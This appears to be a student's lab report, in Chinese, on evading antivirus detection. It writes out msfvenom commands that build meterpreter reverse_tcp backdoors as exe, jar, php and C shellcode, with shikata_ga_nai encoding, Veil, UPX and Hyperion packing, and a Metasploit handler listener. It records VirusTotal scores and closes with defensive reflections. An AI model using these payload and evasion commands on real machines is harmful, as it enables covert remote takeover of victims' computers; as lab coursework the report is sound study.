1.实验内容
问题回答:
(1)杀软是如何检测出恶意代码的?
1.特征码检测,2.行为分析检测,3.启发式检测。
(2)免杀是做什么?
免杀本质是“让恶意代码绕过杀软检测的技术手段”,但需明确其合法边界。
(3)免杀的基本方法有哪些?
1.修改特征码,2.隐藏恶意行为,3.降低可疑度
2.实验过程
- 使用的评价免杀效果平台https://www.virustotal.com/gui/home/upload
2.1使用msfvenom直接生成一个后门程序
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.131 PORT=2429 -f exe > met20232429.exe生成一个后门程序met20232429.exe

- 使用virustool检测文件的安全性

可以看出安全性并不高。
2.2Msfvenom使用编码器
2.2.1生成exe文件和编码的exe文件
- 通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f exe > met20232429_2.exe,生成一个恶意文件

- 使用virustool查看这个文件的安全性

可以看到有44/72的检测率
- 通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f exe > met20232429_3.exe,对文件进行10次编码

- 使用virustool查看这个文件的安全性

可以看到这次是42/70的检测率,免杀作用很差
2.2.2生成jar文件和编码的jar文件
- 通过命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 x>metjar20232409.jar生成一个.jar的恶意文件

查看这个.jar文件的免杀效果

可以看到.jar的文件是35/64的检测率
- 通过命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.79.131 LPORT=2429 x>met-encode-jar20232429.jar,生成一个编码过10次的.jar包

查看这次的.jar文件的检测率

可以看到是35/64,和之前的免杀效果一样。
2.2.3生成php文件和编码的php文件
- 利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 x> metphp_20232429.php,将恶意代码写成.php文件

这个文件的免杀检测率如图

25/62,可以看出比之前的方式都好一点
- 这次使用msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.79.131 LPORT=2429 x> met_encoded10_php_20232429.php生成10次编码的.php文件

来查看这个恶意软件的检测率

只有9/62可以看出来免杀效果还是比较好的
2.3使用veil免杀工具
2.3.1 下载安装veil

使用命令/usr/share/veil/config/setup.sh --force --silent运行Veil工具的初始化设置脚本用来安装veil

使用veil生成可执行文件


输入配置信息

set LHOST 192.168.79.131
set LPORT 2429
generate
payload20232409
生成可执行文件

检测veil生成可执行文件的免杀情况

并没有较高的免杀效果
C语言调用Shellcode
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 -f c将恶意代码嵌入到一个C语言程序中
- 生成的恶意代码:

- 编写C语言程序:

- 通过命令i686-w64-mingw32-g++ shellcode_c_20232429.c -o shellcode_c_20232429.exe,将C文件编译为可执行文件

检测C语言调用Shellcode免杀情况

使用压缩壳UPX
- 通过命令upx shellcode_c_20232429.exe -o shellcode_c_upx_20232429.exe

查看upx压缩的文件的检测率

使用加密壳Hyperion
- 进入加密壳Hyperion所在文件夹并生成可执行文件

- 查看使用加密壳Hyperion的检测率

发现检测率甚至挺高
2.4组合使用msfvenom工具与加壳技术
2.4.1 使用msfvenom工具
- 通过命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f c > 20232429_shellcode_multi.c来生成10次编码的C语言shellcode。

- 编写main函数

- 编译为可执行文件

2.4.2使用压缩壳UPX
- 通过命令
upx 20232429_shellcode_multi.exe -o 20232429_shellcode_multi_2.exe给文件加上upx压缩

2.4.5使用加密壳Hyperion
- 通过命令
wine hyperion.exe -v 20232429_shellcode_multi_2.exe 20232429_shellcode_multi_3.exe给upx压缩过的文件加上加密壳。

2.4.6检测免杀效果
- 使用upx压缩的文件免杀效果如图

检测率还是较高的。
- 使用加密壳的文件的免杀效果

检测率比只用upx的还高。
- 将文件20232429_shellcode_multi_2.exe和20232429_shellcode_multi_2.exe在关闭主机防火墙的情况下拖到主机文件夹当中检测

发现被视为木马,使用的360版本如图

2.5开启杀软回连实测
使用命令开始监视
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.79.131
set LPORT 2429
exploit

在主机终端运行恶意软件

发现被秒杀了,我甚至必须等360杀完之后才能在主机上进行其他操作
3.问题及解决方案
- 问题:在安装veil时,安装失败了,输入veil并没有启动而是重新安装,情况如图:

问题解决方法:
- 重新安装veil,手动选择所有的next和finish,重装之后的veil能够正常运行了,应该是自动安装的过程中出现了一些问题。
4.学习感悟、思考等
- 现在的杀毒软件非常的强大,不关防火墙在win11环境下恶意软件全部都是被秒杀,而且病毒库更新的也很快,我的步骤和毕悠尘同学一样但是因为做实验的时间差距,我的upx和加密壳的检测率就比她的高很多,让我意识到了网络安全和信息安全的重要性,要加强对恶意执行程序的实时监控并且更新病毒和漏洞库,不能像阿里云那样因为漏洞而导致存在信息泄露的风险,加强对漏洞和病毒的防范意识,努力学习免杀原理,目标是让“魔高一尺,道高一丈”。